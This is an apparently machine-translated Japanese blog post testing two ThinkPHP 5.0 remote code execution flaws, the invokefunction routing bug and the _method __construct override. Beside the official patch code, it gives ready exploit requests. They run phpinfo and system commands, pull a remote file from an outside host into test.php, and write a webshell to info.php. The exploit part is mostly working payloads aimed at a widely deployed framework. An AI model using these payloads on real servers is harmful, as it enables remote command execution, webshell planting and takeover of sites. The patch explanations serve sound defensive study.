ThinkPHP5.0脆弱性テスト

14728 ワード

ThinkPHP5.0脆弱性テスト
ThinkPHPが脆弱性パッチを発行して以来、サーバーは何度も脆弱性を大量にスキャンして肉鶏を捕まえる要求を受けた.公式にはすでにパッチを発表しているが、TP脆弱性を試してみたい.2つの脆弱性をテストしたい.
一、全バージョン実行脆弱性

http://127.0.0.1/ThinkPHP/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

コントローラ名が明確に検出されていないため、強制ルーティングが開かれていない場合はphpinfo()を直接実行でき、サーバがshellなどの関数の実行を制限していない場合はshell権限ThinkPHP5.0 漏洞测试_第1张图片の詳細な脆弱性実行プロセスを直接実行でき、脆弱性実行プロセスを参照することができる
公式パッチ
コントローラ名を制限する正規表現を追加
/* /thinkphp/library/think/App.php 555     */
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
     throw new HttpException(404, 'controller not exists:' . $controller);
}

二、method脆弱性

http://127.0.0.1/ThinkPHP/index.php?s=captcha

Content-Type:application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=GET&get[]=dir

トリガ条件
//Config.php
'var_method'             => '_method'
$_POST['_method']の変数を利用する真実の要求方法を伝達し、$_POST['_method']=__constructの場合、Requestクラスのmethodメソッドはそのクラスの変数を上書きし、この方式でfilter変数をsystemなどの関数名に上書きし、内部でパラメータフィルタリングを行うと任意の命令ThinkPHP5.0 漏洞测试_第2张图片がこれに基づいてPHPファイルtestを直接アップロードすることができる.php

http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")

Content-Type:application/x-www-form-urlencoded

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown

木馬を生成する

http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^+>>info.php

Content-Type:application/x-www-form-urlencoded

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123

config.phpは_methodを他の文字に設定するか、TPをアップグレードする
公式パッチ
公式パッチで制限されています_Methodの不審な設定の要求方法、そして処理しています_methodの後にそれをunsetして、再利用することができません_constructによる変数オーバーライド
/* thinkphp/library/think/Request.php */
 public function method($method = false)
    {
        if (true === $method) {
            //         
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $method = strtoupper($_POST[Config::get('var_method')]);
                if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
                    $this->method = $method;
                    $this->{$this->method}($_POST);
                } else {
                    $this->method = 'POST';
                }
                unset($_POST[Config::get('var_method')]); //unset
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
            }
        }
        return $this->method;
    }

参考記事:https://www.cnblogs.com/st404/p/10245844.html https://mrxn.net/Infiltration/618.html https://www.cnblogs.com/nul1/p/11863574.html https://www.vulnbug.com/amp/thkphp5x-code-execution-vulnerabilities-and-bypass.html https://www.freebuf.com/vuls/194127.html